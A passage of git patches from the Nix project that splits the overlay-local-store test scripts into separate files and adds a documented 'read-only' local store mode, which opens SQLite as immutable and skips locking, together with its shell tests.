rename from tests/overlay-local-store/outer.sh rename to tests/overlay-local-store/build.sh index ba55f1d06..758585400 100755 --- a/tests/overlay-local-store/outer.sh +++ b/tests/overlay-local-store/build.sh @@ -2,4 +2,4 @@ source common.sh requireEnvironment setupConfig -exec unshare --mount --map-root-user ./inner.sh +execUnshare ./build-inner.sh diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/check-post-init-inner.sh similarity index 68% rename from tests/overlay-local-store/inner.sh rename to tests/overlay-local-store/check-post-init-inner.sh index adbe29557..421b64934 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/check-post-init-inner.sh @@ -65,29 +65,3 @@ hashPart=$(echo $path | sed "s^$NIX_STORE_DIR/^^" | sed 's/-.*//') # merged store can find from hash part [[ $(nix store --store $storeB path-from-hash-part $hashPart) == $path ]] - -### Do a redundant add - -# upper layer should not have it -expect 1 stat $(toRealPath "$storeBTop/nix/store" "$path") - -path=$(nix-store --store "$storeB" --add ../dummy) - -# lower store should have it from before -stat $(toRealPath "$storeA/nix/store" "$path") - -# upper layer should still not have it (no redundant copy) -expect 1 stat $(toRealPath "$storeB/nix/store" "$path") - -### Do a build in overlay store - -path=$(nix-build ../hermetic.nix --arg busybox $busybox --arg seed 2 --store "$storeB" --no-out-link) - -# Checking for path in lower layer (should fail) -expect 1 stat $(toRealPath "$storeA/nix/store" "$path") - -# Checking for path in upper layer -stat $(toRealPath "$storeBTop" "$path") - -# Verifying path in overlay store -nix-store --verify-path --store "$storeB" "$path" diff --git a/tests/overlay-local-store/check-post-init.sh b/tests/overlay-local-store/check-post-init.sh new file mode 100755 index 000000000..985bf978e --- /dev/null +++ b/tests/overlay-local-store/check-post-init.sh @@ -0,0 +1,5 @@ +source common.sh + +requireEnvironment +setupConfig +execUnshare ./check-post-init-inner.sh diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index 6d9b69b4c..149102000 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -1,23 +1,23 @@ source ../common.sh requireEnvironment () { - requireSandboxSupport - [[ $busybox =~ busybox ]] || skipTest "no busybox" - if [[ $(uname) != Linux ]]; then skipTest "Need Linux for overlayfs"; fi - needLocalStore "The test uses --store always so we would just be bypassing the daemon" + requireSandboxSupport + [[ $busybox =~ busybox ]] || skipTest "no busybox" + if [[ $(uname) != Linux ]]; then skipTest "Need Linux for overlayfs"; fi + needLocalStore "The test uses --store always so we would just be bypassing the daemon" } setupConfig () { - echo "drop-supplementary-groups = false" >> "$NIX_CONF_DIR"/nix.conf - echo "build-users-group = " >> "$NIX_CONF_DIR"/nix.conf + echo "drop-supplementary-groups = false" >> "$NIX_CONF_DIR"/nix.conf + echo "build-users-group = " >> "$NIX_CONF_DIR"/nix.conf } storeDirs () { - storeA="$TEST_ROOT/store-a" - storeBTop="$TEST_ROOT/store-b" - storeB="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$storeBTop" - # Creating testing directories - mkdir -p "$TEST_ROOT"/{store-a/nix/store,store-b,merged-store/nix/store,workdir} + storeA="$TEST_ROOT/store-a" + storeBTop="$TEST_ROOT/store-b" + storeB="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$storeBTop" + # Creating testing directories + mkdir -p "$TEST_ROOT"/{store-a/nix/store,store-b,merged-store/nix/store,workdir} } # Mounting Overlay Store @@ -50,3 +50,7 @@ initLowerStore () { drvPath=$(nix-instantiate --store $storeA ../hermetic.nix --arg busybox "$busybox" --arg seed 1) path=$(nix-store --store "$storeA" --realise $drvPath) } + +execUnshare () { + exec unshare --mount --map-root-user "$@" +} diff --git a/tests/overlay-local-store/redundant-add-inner.sh b/tests/overlay-local-store/redundant-add-inner.sh new file mode 100755 index 000000000..921069c25 --- /dev/null +++ b/tests/overlay-local-store/redundant-add-inner.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +storeDirs + +initLowerStore + +mountOverlayfs + +### Do a redundant add + +# upper layer should not have it +expect 1 stat $(toRealPath "$storeBTop/nix/store" "$path") + +path=$(nix-store --store "$storeB" --add ../dummy) + +# lower store should have it from before +stat $(toRealPath "$storeA/nix/store" "$path") + +# upper layer should still not have it (no redundant copy) +expect 1 stat $(toRealPath "$storeB/nix/store" "$path") diff --git a/tests/overlay-local-store/redundant-add.sh b/tests/overlay-local-store/redundant-add.sh new file mode 100755 index 000000000..fbd4799e7 --- /dev/null +++ b/tests/overlay-local-store/redundant-add.sh @@ -0,0 +1,5 @@ +source common.sh + +requireEnvironment +setupConfig +execUnshare ./redundant-add-inner.sh From 0ec7f2fb3f935f39585a6f1daa21a7520e1a4b40 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 15 May 2023 23:10:53 -0400 Subject: [PATCH 0023/1251] Create `local.mk` for local-overlay-store tests --- Makefile | 1 + tests/local.mk | 8 -------- tests/overlay-local-store/local.mk | 7 +++++++ 3 files changed, 8 insertions(+), 8 deletions(-) create mode 100644 tests/overlay-local-store/local.mk diff --git a/Makefile b/Makefile index d6b49473a..3ce5cc5e3 100644 --- a/Makefile +++ b/Makefile @@ -27,6 +27,7 @@ makefiles += \ src/libstore/tests/local.mk \ src/libexpr/tests/local.mk \ tests/local.mk \ + tests/overlay-local-store/local.mk \ tests/plugins/local.mk else makefiles += \ diff --git a/tests/local.mk b/tests/local.mk index dd168ce3f..9cb81e1f0 100644 --- a/tests/local.mk +++ b/tests/local.mk @@ -137,14 +137,6 @@ nix_tests = \ path-from-hash-part.sh \ toString-path.sh -overlay-local-store-tests := \ - $(d)/overlay-local-store/check-post-init.sh \ - $(d)/overlay-local-store/redundant-add.sh \ - $(d)/overlay-local-store/build.sh \ - $(d)/overlay-local-store/bad-uris.sh - -install-tests-groups += overlay-local-store - ifeq ($(HAVE_LIBCPUID), 1) nix_tests += compute-levels.sh endif diff --git a/tests/overlay-local-store/local.mk b/tests/overlay-local-store/local.mk new file mode 100644 index 000000000..b94238a67 --- /dev/null +++ b/tests/overlay-local-store/local.mk @@ -0,0 +1,7 @@ +overlay-local-store-tests := \ + $(d)/check-post-init.sh \ + $(d)/redundant-add.sh \ + $(d)/build.sh \ + $(d)/bad-uris.sh + +install-tests-groups += overlay-local-store From 4d69bd034ae3435b20d1b5d38a819247a3031c25 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 16 May 2023 13:10:25 +0100 Subject: [PATCH 0024/1251] More detailed explanation of check-mount setting. --- src/libstore/local-overlay-store.hh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 525a54745..6f798c460 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -31,7 +31,15 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig )"}; Setting checkMount{(StoreConfig*) this, true, "check-mount", - "Check that the overlay filesystem is correctly mounted."}; + R"( + Check that the overlay filesystem is correctly mounted. + + Nix does not manage the overlayfs mount point itself, but the correct + functioning of the overlay store does depend on this mount point being set up + correctly. Rather than just assume this is the case, check that the lowerdir + and upperdir options are what we expect them to be. This check is on by + default, but can be disabled if needed. + )"}; const std::string name() override { return "Experimental Local Overlay Store"; } From de359da09a0a3a0b68cbcb20c25adc3908046296 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 16 May 2023 13:14:58 +0100 Subject: [PATCH 0025/1251] Add read-only setting to LocalStoreConfig. --- src/libstore/local-store.hh | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 55add18dd..1557c6242 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -46,6 +46,11 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig "require-sigs", "Whether store paths copied into this store should have a trusted signature."}; + Setting readOnly{(StoreConfig*) this, + false, + "read-only", + "TODO"}; + const std::string name() override { return "Local Store"; } std::string doc() override; From 79583c2d38b75d227886679bca35a5b38a6e2119 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 16 May 2023 13:29:16 +0100 Subject: [PATCH 0026/1251] Do not attempt to chmod per-user dir when read-only. --- src/libstore/local-store.cc | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 7fb312c37..d219f3e95 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -204,8 +204,10 @@ LocalStore::LocalStore(const Params & params) for (auto & perUserDir : {profilesDir + "/per-user", gcRootsDir + "/per-user"}) { createDirs(perUserDir); - if (chmod(perUserDir.c_str(), 0755) == -1) - throw SysError("could not set permissions on '%s' to 755", perUserDir); + if (!readOnly) { + if (chmod(perUserDir.c_str(), 0755) == -1) + throw SysError("could not set permissions on '%s' to 755", perUserDir); + } } /* Optionally, create directories and set permissions for a From 50bbdc65c8adccaf2d34fd90ee9f3897c347c667 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 16 May 2023 13:53:31 +0100 Subject: [PATCH 0027/1251] Do not attempt to acquire big-lock when read-only. --- src/libstore/local-store.cc | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index d219f3e95..94176c62f 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -271,10 +271,12 @@ LocalStore::LocalStore(const Params & params) /* Acquire the big fat lock in shared mode to make sure that no schema upgrade is in progress. */ - Path globalLockPath = dbDir + "/big-lock"; - globalLock = openLockFile(globalLockPath.c_str(), true); + if (!readOnly) { + Path globalLockPath = dbDir + "/big-lock"; + globalLock = openLockFile(globalLockPath.c_str(), true); + } - if (!lockFile(globalLock.get(), ltRead, false)) { + if (!readOnly && !lockFile(globalLock.get(), ltRead, false)) { printInfo("waiting for the big Nix store lock..."); lockFile(globalLock.get(), ltRead, true); } @@ -305,7 +307,7 @@ LocalStore::LocalStore(const Params & params) "which is no longer supported. To convert to the new format,\n" "please upgrade Nix to version 1.11 first."); - if (!lockFile(globalLock.get(), ltWrite, false)) { + if (!readOnly && !lockFile(globalLock.get(), ltWrite, false)) { printInfo("waiting for exclusive access to the Nix store..."); lockFile(globalLock.get(), ltNone, false); // We have acquired a shared lock; release it to prevent deadlocks lockFile(globalLock.get(), ltWrite, true); @@ -340,7 +342,8 @@ LocalStore::LocalStore(const Params & params) writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); - lockFile(globalLock.get(), ltRead, true); + if (!readOnly) + lockFile(globalLock.get(), ltRead, true); } else openDB(*state, false); From c22936ca6ad68630f2982a62245b91b11c4fb699 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 16 May 2023 13:56:29 +0100 Subject: [PATCH 0028/1251] Do not attempt to migrate to CA schema when read-only. --- src/libstore/local-store.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 94176c62f..5d9e96441 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -348,7 +348,7 @@ LocalStore::LocalStore(const Params & params) else openDB(*state, false); - if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { + if (!readOnly && experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { migrateCASchema(state->db, dbDir + "/ca-schema", globalLock); } From 7f443e04283b027dff8589eb54473313be877577 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 16 May 2023 13:57:13 +0100 Subject: [PATCH 0029/1251] Do not check for write access to database when read-only. --- src/libstore/local-store.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 5d9e96441..b0f6709aa 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -480,7 +480,7 @@ int LocalStore::getSchema() void LocalStore::openDB(State & state, bool create) { - if (access(dbDir.c_str(), R_OK | W_OK)) + if (access(dbDir.c_str(), R_OK | (readOnly ? 0 : W_OK))) throw SysError("Nix database directory '%1%' is not writable", dbDir); /* Open the Nix database. */ From afed9ccfadc24a6a58da781cfe7eb5d1a4e4f7c3 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 16 May 2023 13:57:56 +0100 Subject: [PATCH 0030/1251] Add enum for intended sqlite database open modes. --- src/libstore/sqlite.hh | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/src/libstore/sqlite.hh b/src/libstore/sqlite.hh index 6e14852cb..8f4bc49a8 100644 --- a/src/libstore/sqlite.hh +++ b/src/libstore/sqlite.hh @@ -11,6 +11,24 @@ struct sqlite3_stmt; namespace nix { +enum class SQLiteOpenMode { + /** + * Open the database in read-write mode. + * If the database does not exist, it will be created. + */ + Normal, + /** + * Open the database in read-write mode. + * Fails with an error if the database does not exist. + */ + NoCreate, + /** + * Open the database in read-only mode. + * Fails with an error if the database does not exist. + */ + ReadOnly +}; + /** * RAII wrapper to close a SQLite database automatically. */ From 78fdd6f24e79f50f7d27a2576685398e67928f61 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 16 May 2023 14:13:03 +0100 Subject: [PATCH 0031/1251] Open sqlite database according to new modes. --- src/libstore/local-store.cc | 9 ++++++++- src/libstore/sqlite.cc | 7 ++++--- src/libstore/sqlite.hh | 2 +- 3 files changed, 13 insertions(+), 5 deletions(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index b0f6709aa..1c5d8fc9e 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -480,13 +480,20 @@ int LocalStore::getSchema() void LocalStore::openDB(State & state, bool create) { + if (create && readOnly) { + throw Error("unable to create database while in read-only mode"); + } + if (access(dbDir.c_str(), R_OK | (readOnly ? 0 : W_OK))) throw SysError("Nix database directory '%1%' is not writable", dbDir); /* Open the Nix database. */ std::string dbPath = dbDir + "/db.sqlite"; auto & db(state.db); - state.db = SQLite(dbPath, create); + auto openMode = readOnly ? SQLiteOpenMode::ReadOnly + : create ? SQLiteOpenMode::Normal + : SQLiteOpenMode::NoCreate; + state.db = SQLite(dbPath, openMode); #ifdef __CYGWIN__ /* The cygwin version of sqlite3 has a patch which calls diff --git a/src/libstore/sqlite.cc b/src/libstore/sqlite.cc index df334c23c..8159744b7 100644 --- a/src/libstore/sqlite.cc +++ b/src/libstore/sqlite.cc @@ -50,14 +50,15 @@ static void traceSQL(void * x, const char * sql) notice("SQL<[%1%]>", sql); }; -SQLite::SQLite(const Path & path, bool create) +SQLite::SQLite(const Path & path, SQLiteOpenMode mode) { // useSQLiteWAL also indicates what virtual file system we need. Using // `unix-dotfile` is needed on NFS file systems and on Windows' Subsystem // for Linux (WSL) where useSQLiteWAL should be false by default. const char *vfs = settings.useSQLiteWAL ? 0 : "unix-dotfile"; - int flags = SQLITE_OPEN_READWRITE; - if (create) flags |= SQLITE_OPEN_CREATE; + int flags = mode == SQLiteOpenMode::ReadOnly + ? SQLITE_OPEN_READONLY : SQLITE_OPEN_READWRITE; + if (mode == SQLiteOpenMode::Normal) flags |= SQLITE_OPEN_CREATE; int ret = sqlite3_open_v2(path.c_str(), &db, flags, vfs); if (ret != SQLITE_OK) { const char * err = sqlite3_errstr(ret); diff --git a/src/libstore/sqlite.hh b/src/libstore/sqlite.hh index 8f4bc49a8..33f0eeed8 100644 --- a/src/libstore/sqlite.hh +++ b/src/libstore/sqlite.hh @@ -36,7 +36,7 @@ struct SQLite { sqlite3 * db = 0; SQLite() { } - SQLite(const Path & path, bool create = true); + SQLite(const Path & path, SQLiteOpenMode mode = SQLiteOpenMode::Normal); SQLite(const SQLite & from) = delete; SQLite& operator = (const SQLite & from) = delete; SQLite& operator = (SQLite && from) { db = from.db; from.db = 0; return *this; } From aa376f4ab17142516b19de6aa0b990b6d097b2f2 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 16 May 2023 15:29:29 +0100 Subject: [PATCH 0032/1251] Need to open database using immutable parameter. This requires switching on SQLITE_OPEN_URI because there is no open flag to make the database immutable. Without immutable, sqlite will still attempt to create journal and wal files, even when the database is opened read-only. https://www.sqlite.org/c3ref/open.html The immutable parameter is a boolean query parameter that indicates that the database file is stored on read-only media. When immutable is set, SQLite assumes that the database file cannot be changed, even by a process with higher privilege, and so the database is opened read-only and all locking and change detection is disabled. --- src/libstore/sqlite.cc | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/src/libstore/sqlite.cc b/src/libstore/sqlite.cc index 8159744b7..4166cc2cd 100644 --- a/src/libstore/sqlite.cc +++ b/src/libstore/sqlite.cc @@ -1,6 +1,7 @@ #include "sqlite.hh" #include "globals.hh" #include "util.hh" +#include "url.hh" #include @@ -52,14 +53,16 @@ static void traceSQL(void * x, const char * sql) SQLite::SQLite(const Path & path, SQLiteOpenMode mode) { + bool readOnly = mode == SQLiteOpenMode::ReadOnly; + // useSQLiteWAL also indicates what virtual file system we need. Using // `unix-dotfile` is needed on NFS file systems and on Windows' Subsystem // for Linux (WSL) where useSQLiteWAL should be false by default. const char *vfs = settings.useSQLiteWAL ? 0 : "unix-dotfile"; - int flags = mode == SQLiteOpenMode::ReadOnly - ? SQLITE_OPEN_READONLY : SQLITE_OPEN_READWRITE; + int flags = readOnly ? SQLITE_OPEN_READONLY : SQLITE_OPEN_READWRITE; if (mode == SQLiteOpenMode::Normal) flags |= SQLITE_OPEN_CREATE; - int ret = sqlite3_open_v2(path.c_str(), &db, flags, vfs); + auto uri = "file:" + percentEncode(path) + "?immutable=" + (readOnly ? "1" : "0"); + int ret = sqlite3_open_v2(uri.c_str(), &db, SQLITE_OPEN_URI | flags, vfs); if (ret != SQLITE_OK) { const char * err = sqlite3_errstr(ret); throw Error("cannot open SQLite database '%s': %s", path, err); From b1a7b26eef46106deec0a954d400e5a1aac47945 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 16 May 2023 15:48:40 +0100 Subject: [PATCH 0033/1251] Rename ReadOnly to Immutable and clarify its purpose. --- src/libstore/local-store.cc | 2 +- src/libstore/sqlite.cc | 7 +++---- src/libstore/sqlite.hh | 7 +++++-- 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 1c5d8fc9e..59685400f 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -490,7 +490,7 @@ void LocalStore::openDB(State & state, bool create) /* Open the Nix database. */ std::string dbPath = dbDir + "/db.sqlite"; auto & db(state.db); - auto openMode = readOnly ? SQLiteOpenMode::ReadOnly + auto openMode = readOnly ? SQLiteOpenMode::Immutable : create ? SQLiteOpenMode::Normal : SQLiteOpenMode::NoCreate; state.db = SQLite(dbPath, openMode); diff --git a/src/libstore/sqlite.cc b/src/libstore/sqlite.cc index 4166cc2cd..7c8decb74 100644 --- a/src/libstore/sqlite.cc +++ b/src/libstore/sqlite.cc @@ -53,15 +53,14 @@ static void traceSQL(void * x, const char * sql) SQLite::SQLite(const Path & path, SQLiteOpenMode mode) { - bool readOnly = mode == SQLiteOpenMode::ReadOnly; - // useSQLiteWAL also indicates what virtual file system we need. Using // `unix-dotfile` is needed on NFS file systems and on Windows' Subsystem // for Linux (WSL) where useSQLiteWAL should be false by default. const char *vfs = settings.useSQLiteWAL ? 0 : "unix-dotfile"; - int flags = readOnly ? SQLITE_OPEN_READONLY : SQLITE_OPEN_READWRITE; + bool immutable = mode == SQLiteOpenMode::Immutable; + int flags = immutable ? SQLITE_OPEN_READONLY : SQLITE_OPEN_READWRITE; if (mode == SQLiteOpenMode::Normal) flags |= SQLITE_OPEN_CREATE; - auto uri = "file:" + percentEncode(path) + "?immutable=" + (readOnly ? "1" : "0"); + auto uri = "file:" + percentEncode(path) + "?immutable=" + (immutable ? "1" : "0"); int ret = sqlite3_open_v2(uri.c_str(), &db, SQLITE_OPEN_URI | flags, vfs); if (ret != SQLITE_OK) { const char * err = sqlite3_errstr(ret); diff --git a/src/libstore/sqlite.hh b/src/libstore/sqlite.hh index 33f0eeed8..b0e84f8ed 100644 --- a/src/libstore/sqlite.hh +++ b/src/libstore/sqlite.hh @@ -23,10 +23,13 @@ enum class SQLiteOpenMode { */ NoCreate, /** - * Open the database in read-only mode. + * Open the database in immutable mode. + * In addition to the database being read-only, + * no wal or journal files will be created by sqlite. + * Use this mode if the database is on a read-only filesystem. * Fails with an error if the database does not exist. */ - ReadOnly + Immutable }; /** From 5966b76c974a8f2eddac8c610b754a2dbcf8bb9b Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 17 May 2023 08:49:51 +0100 Subject: [PATCH 0034/1251] Document the new read-only local store setting. --- src/libstore/local-store.hh | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 1557c6242..7fcf645e7 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -49,7 +49,18 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig Setting readOnly{(StoreConfig*) this, false, "read-only", - "TODO"}; + R"( + Allow this store to be opened when its database is on a read-only filesystem. + + Normally Nix will attempt to open the store database in read-write mode, even + for querying (when write access is not needed). This causes it to fail if the + database is on a read-only filesystem. + + Enable read-only mode to disable locking and open the SQLite database with the + **imutable** parameter set. Do not use this unless the filesystem is read-only. + Using it when the filesystem is writable can cause incorrect query results or + corruption errors if the database is changed by another process. + )"}; const std::string name() override { return "Local Store"; } From 85a24530524e5a7410fd00714a4a8f4633b4f758 Mon Sep 17 00:00:00 2001 From: cidkidnix Date: Wed, 17 May 2023 13:48:59 -0500 Subject: [PATCH 0035/1251] Add tests for read-only local store Make sure we don't go down the path of making temproots when doing operations on a read-only store --- src/libstore/gc.cc | 4 ++++ tests/local.mk | 3 ++- tests/read-only-store.sh | 29 +++++++++++++++++++++++++++++ 3 files changed, 35 insertions(+), 1 deletion(-) create mode 100644 tests/read-only-store.sh diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index 0038ec802..09f6ddb9e 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -110,6 +110,10 @@ void LocalStore::createTempRootsFile() void LocalStore::addTempRoot(const StorePath & path) { + if (readOnly) { + debug("Read-only store doesn't support creating lock files for temp roots, but nothing can be deleted anyways."); + return; + } createTempRootsFile(); /* Open/create the global GC lock file. */ diff --git a/tests/local.mk b/tests/local.mk index 9e340e2e2..576529567 100644 --- a/tests/local.mk +++ b/tests/local.mk @@ -134,7 +134,8 @@ nix_tests = \ flakes/show.sh \ impure-derivations.sh \ path-from-hash-part.sh \ - toString-path.sh + toString-path.sh \ + read-only-store.sh ifeq ($(HAVE_LIBCPUID), 1) nix_tests += compute-levels.sh diff --git a/tests/read-only-store.sh b/tests/read-only-store.sh new file mode 100644 index 000000000..20ded9634 --- /dev/null +++ b/tests/read-only-store.sh @@ -0,0 +1,29 @@ +source common.sh + +clearStore + +## Testing read-only mode without forcing the underlying store to actually be read-only + +# Make sure the command fails when the store doesn't already have a database +expectStderr 1 nix-store --store local?read-only=true --add dummy | grepQuiet "unable to create database while in read-only mode" + +# Make sure the store actually has a current-database +nix-store --add dummy + +# Try again and make sure we fail when adding a item not already in the store +expectStderr 1 nix-store --store local?read-only=true --add eval.nix | grepQuiet "attempt to write a readonly database" + +# Make sure we can get an already-present store-path in the database +nix-store --store local?read-only=true --add dummy + +## Ensure store is actually read-only +chmod -R -w $TEST_ROOT/store +chmod -R -w $TEST_ROOT/var + +# Make sure we fail on add operations on the read-only store +# This is only for adding files that are not *already* in the store +expectStderr 1 nix-store --add eval.nix | grepQuiet "error: opening lock file '$(readlink -e $TEST_ROOT)/var/nix/db/big-lock'" +expectStderr 1 nix-store --store local?read-only=true --add eval.nix | grepQuiet "Permission denied" + +# Should succeed +nix-store --store local?read-only=true --add dummy From 9290af763a7eb93e1967d540c7505c4514b2c546 Mon Sep 17 00:00:00 2001 From: Dylan Green <67574902+cidkidnix@users.noreply.github.com> Date: Wed, 17 May 2023 14:52:13 -0500 Subject: [PATCH 0036/1251] Update tests/read-only-store.sh Co-authored-by: John Ericson --- tests/read-only-store.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/tests/read-only-store.sh b/tests/read-only-store.sh index 20ded9634..b440fe356 100644 --- a/tests/read-only-store.sh +++ b/tests/read-only-store.sh @@ -16,7 +16,9 @@ expectStderr 1 nix-store --store local?read-only=true --add eval.nix | grepQuiet # Make sure we can get an already-present store-path in the database nix-store --store local?read-only=true --add dummy -## Ensure store is actually read-only +## Testing read-only mode with an underlying store that is actually read-only + +# Ensure store is actually read-only chmod -R -w $TEST_ROOT/store chmod -R -w $TEST_ROOT/var From 60c014972171edf271b173ab03e13866c2839035 Mon Sep 17 00:00:00 2001 From: Dylan Green <67574902+cidkidnix@users.noreply.github.com> Date: Wed, 17 May 2023 14:56:48 -0500 Subject: [PATCH 0037/1251] Apply suggestions from code review Co-authored-by: John Ericson --- src/libstore/gc.cc | 1 + tests/read-only-store.sh | 19 +++++++++++++------ 2 files changed, 14 insertions(+), 6 deletions(-) diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index 09f6ddb9e..3c9544017 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -114,6 +114,7 @@ void LocalStore::addTempRoot(const StorePath & path) debug("Read-only store doesn't support creating lock files for temp roots, but nothing can be deleted anyways."); return; } + createTempRootsFile(); /* Open/create the global GC lock file. */ diff --git a/tests/read-only-store.sh b/tests/read-only-store.sh index b440fe356..72d855d42 100644 --- a/tests/read-only-store.sh +++ b/tests/read-only-store.sh @@ -2,19 +2,26 @@ source common.sh clearStore +happy () { + # We can do a read-only query just fine with a read-only store + nix --store local?read-only=true path-info $dummyPath + + # We can "write" an already-present store-path a read-only store, because no IO is actually required + nix-store --store local?read-only=true --add dummy +} ## Testing read-only mode without forcing the underlying store to actually be read-only # Make sure the command fails when the store doesn't already have a database expectStderr 1 nix-store --store local?read-only=true --add dummy | grepQuiet "unable to create database while in read-only mode" -# Make sure the store actually has a current-database -nix-store --add dummy +# Make sure the store actually has a current-database, with at least one store object +dummyPath=$(nix-store --add dummy) # Try again and make sure we fail when adding a item not already in the store expectStderr 1 nix-store --store local?read-only=true --add eval.nix | grepQuiet "attempt to write a readonly database" -# Make sure we can get an already-present store-path in the database -nix-store --store local?read-only=true --add dummy +# Test a few operations that should work with the read-only store in its current state +happy ## Testing read-only mode with an underlying store that is actually read-only @@ -27,5 +34,5 @@ chmod -R -w $TEST_ROOT/var expectStderr 1 nix-store --add eval.nix | grepQuiet "error: opening lock file '$(readlink -e $TEST_ROOT)/var/nix/db/big-lock'" expectStderr 1 nix-store --store local?read-only=true --add eval.nix | grepQuiet "Permission denied" -# Should succeed -nix-store --store local?read-only=true --add dummy +# Test the same operations from before should again succeed +happy From fe174d72a2b8ef7a4a6415bf284b1e282e2052cf Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 18 May 2023 13:44:39 +0100 Subject: [PATCH 0038/1251] Fix spelling of 'immutable' in documentation. --- src/libstore/local-store.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 7fcf645e7..37e31210f 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -57,7 +57,7 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig database is on a read-only filesystem. Enable read-only mode to disable locking and open the SQLite database with the - **imutable** parameter set. Do not use this unless the filesystem is read-only. + **immutable** parameter set. Do not use this unless the filesystem is read-only. Using it when the filesystem is writable can cause incorrect query results or corruption errors if the database is changed by another process. )"}; From d55e38b98a281b6915cd4b57b597059d4be9b0ac Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 18 May 2023 13:45:31 +0100 Subject: [PATCH 0039/1251] Check earlier whether schema migration is required. --- src/libstore/local-store.cc | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 59685400f..99fb9f434 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -284,6 +284,14 @@ LocalStore::LocalStore(const Params & params) /* Check the current database schema and if necessary do an upgrade. */ int curSchema = getSchema(); + if (readOnly && curSchema < nixSchemaVersion) { + debug("current schema version: %d", curSchema); + debug("supported schema version: %d", nixSchemaVersion); + throw Error(curSchema == 0 ? + "database does not exist, and cannot be created in read-only mode" : + "database schema needs migrating, but this cannot be done in read-only mode"); + } + if (curSchema > nixSchemaVersion) throw Error("current Nix store schema is version %1%, but I only support %2%", curSchema, nixSchemaVersion); @@ -307,7 +315,7 @@ LocalStore::LocalStore(const Params & params) "which is no longer supported. To convert to the new format,\n" "please upgrade Nix to version 1.11 first."); - if (!readOnly && !lockFile(globalLock.get(), ltWrite, false)) { + if (!lockFile(globalLock.get(), ltWrite, false)) { printInfo("waiting for exclusive access to the Nix store..."); lockFile(globalLock.get(), ltNone, false); // We have acquired a shared lock; release it to prevent deadlocks lockFile(globalLock.get(), ltWrite, true); @@ -342,8 +350,7 @@ LocalStore::LocalStore(const Params & params) writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); - if (!readOnly) - lockFile(globalLock.get(), ltRead, true); + lockFile(globalLock.get(), ltRead, true); } else openDB(*state, false); From 8ffeb1c4e58e8ed0032b097d3d1d9625726f5fec Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 18 May 2023 